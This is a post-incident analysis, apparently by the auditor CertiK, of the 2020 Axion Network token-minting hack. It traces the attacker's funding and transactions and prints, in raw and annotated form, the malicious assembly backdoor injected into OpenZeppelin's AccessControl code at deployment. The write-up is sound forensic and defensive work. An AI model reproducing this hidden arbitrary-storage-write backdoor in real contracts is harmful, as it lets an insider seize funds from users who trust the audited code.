owned this note
owned this note
Published
Linked with GitHub
# Axion Network Incident
On the 2nd of November 2020 at [approximately 11:00 AM +UTC](https://etherscan.io/tx/0xc2a4a11312384fb34ebd70ea4ae991848049a2688a67bbb2ea1924073ed089b4) a hacker managed to mint around ~80 billion AXN tokens by utilizing the `unstake` function of the Axion Staking contract.
The hacker proceeded to then dump the tokens on the AXN Uniswap exchange for Ether, repeating this process until the Uniswap exchange was drained and the token price was driven to 0.
We were informed of the incident within a few minutes of the attack occuring and our security analysts began assessing the situation immediately.
We have concluded that the attack was likely planned from the inside, involving an injection of malicious code at the time the code was deployed by altering code from OpenZeppelin dependencies.
The exploited function was not part of the audit we conducted as it was added after joining together Axion's code with OpenZeppelin's code via "flattening" and injecting it within OpenZeppelin's code prior to deployment.
## Planning
The hacker used anonymous funds procured from [tornado.cash](https://tornado.cash/) [the day before the hack occured](https://etherscan.io/tx/0x86f5bd9008f376c2ae1e6909a5c05e2db1609f595af42cbde09cd39025d9f563/advanced), hinting at a pre-meditated attack. Presumably to save some funds in case the attack fails, 2.1 Ether were re-circulated in tornado.cash right after the account received the funds.
To finalize the attack setup, the hacker purchased around [~700k HEX2T tokens](https://etherscan.io/tx/0x6b34b75aa924a2f44d6fb2a23624bf5705074cbc748106c32c90fb32c0ab4d14) from the Uniswap exchange. However, these funds were ultimately not part of the attack and served as a smokescreen with regards to how the attack unfolded.
## Setup
The hacker began their way towards actuating their attack by creating an "empty" stake on the `Staking` contract of the Axion Network by invoking the `stake` function with a `0` amount and `1` day stake duration at [approximately 09:00 AM +UTC](https://etherscan.io/tx/0x5e5e09cb5ccad29f1e661f82fa85ed172c3b66c4b4922385e1e2192dc770e878). This created a `Session` entry for the attacker with a `0` amount and `0` shares value at session ID `6`.
Afterwards, the attacker pre-approved an unlimited amount of AXN to the Uniswap exchange in anticipation of their attack succeeding. Consequently, they approved the `NativeSwap` contract of Axion for the amount of funds they intended to convert to AXN tokens.
They invoked the `deposit` function of the `NativeSwap` contract at [approximately 10:00 AM +UTC](https://etherscan.io/tx/0xf2f74137d3215b956e194825354c693450a82854118a77b9318d9fdefcfbf875), however the hacker never called the `withdraw` function of the contract to claim his swapped AXN as evident on the `NativeSwap` contract's `swapTokenBalanceOf` function. Afterwards, they made one more failed `deposit` function call before executing the attack.
## Execution
These transactions were merely smokescreens for how the `unstake` attack was actually carried out. As the transactions that the attacker conducted resulted in no change to the `sessionDataOf` mapping, we concluded that this was a multi-address attack.
We investigated the source code of the contract's at the GitHub repository that had been shared with us to identify a flaw that would cause the `sessionDataOf` mapping to be affected.
We were unable to detect any assignments to it or members of it outside the `stake` functions which prompted us to question whether the deployment of the contracts was conducted properly.
## Attack Vector
After analyzing the source code of the deployed `Staking` contract, we pinpointed a code injection in the `AccessControl` OpenZeppelin library between L665-L671 of the [deployed source code](https://etherscan.io/address/0xcd5f8dcae34f889e3d9f93f0d281c2d920c46a3e#code) of the `Staking` contract. The linked `checkRole` function is not part of [the OpenZeppelin v3.0.1 implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/access/AccessControl.sol), which was listed as a dependency in the project's GitHub repository.
Within the `checkRole` function, the following `assembly` block exists:
```Solidity
function checkRole() public virtual {
assembly {
mstore(0x00, origin()) if eq(and(keccak256(0x00, 0x20), 0xffffffff), 0x1d7b980f)
{mstore(0x00, mload(0x40)) calldatacopy(mload(0x00), 0x04, sub(calldatasize(), 0x04))
sstore(mload(add(mload(0x00), 0x00)), mload(add(mload(0x00), 0x20)))}
}
}
```
This particular function allows a specific address to conduct an arbitrary write to the contract based on the input variables it supplements via low-level calls. Annotated, the `assembly` block would look like this:
```Solidity
function checkRole() public virtual {
assembly {
// Store the tx.origin at memory offset 0
mstore(0x00, origin())
/**
* Compute keccak256 hash for data between
* memory offset 0x00 and 0x20 i.e. tx.origin
* and retain only the first 8 bytes by conducting
* bitwise AND with 0xffffffff, finally comparing
* the resulting bytes with the value 0x1d7b980f
*/
if eq(
and(
keccak256(0x00, 0x20),
0xffffffff
),
0x1d7b980f
) {
/**
* At this point, our attacker has gained access
* to their injected code via the hash validation
* above
*/
// Get a free memory pointer
mstore(
0x00,
mload(0x40)
)
/**
* Copy input data of the function to memory
* This allows arbitrary arguments to be "stored"
* in the function to memory. The first 4 bytes are
* omitted as they represent the function signature.
*/
calldatacopy(
mload(0x00),
0x04,
sub(calldatasize(), 0x04)
)
/**
* Finally, this segment utilizes the first
* 32-bytes of the calldata we copied earlier
* as the arbitrary storage location the
* malicious function will write the latter
* 32-bytes of the input calldata.
*/
sstore(
mload(
add(mload(0x00), 0x00)
),
mload(
add(mload(0x00), 0x20)
)
)
}
}
}
```
This function **was injected at deployment** as it does not exist in the OpenZeppelin `AccessControl` implementation, meaning that the members of the Axion Network that were involved with deploying the token acted maliciously.
## Conclusion
The attack utilized code that was deliberately injected prior to the protocol's deployment. This incident **bears no relation to the audits conducted by CertiK** and the party responsible for the attack was a person that seemed to be involved with the deployment of the Axion Network contracts.
As an additional degree of security, audit reports should standardise to include deployed smart contract addresses whose source code has been verified to be the same as the one that was audited.
The [Security Oracle](http://shield.certik.foundation) serves as an on-chain relayer of security intelligence, conducting security checks which include the verification of deployed smart contracts to match the audited versions.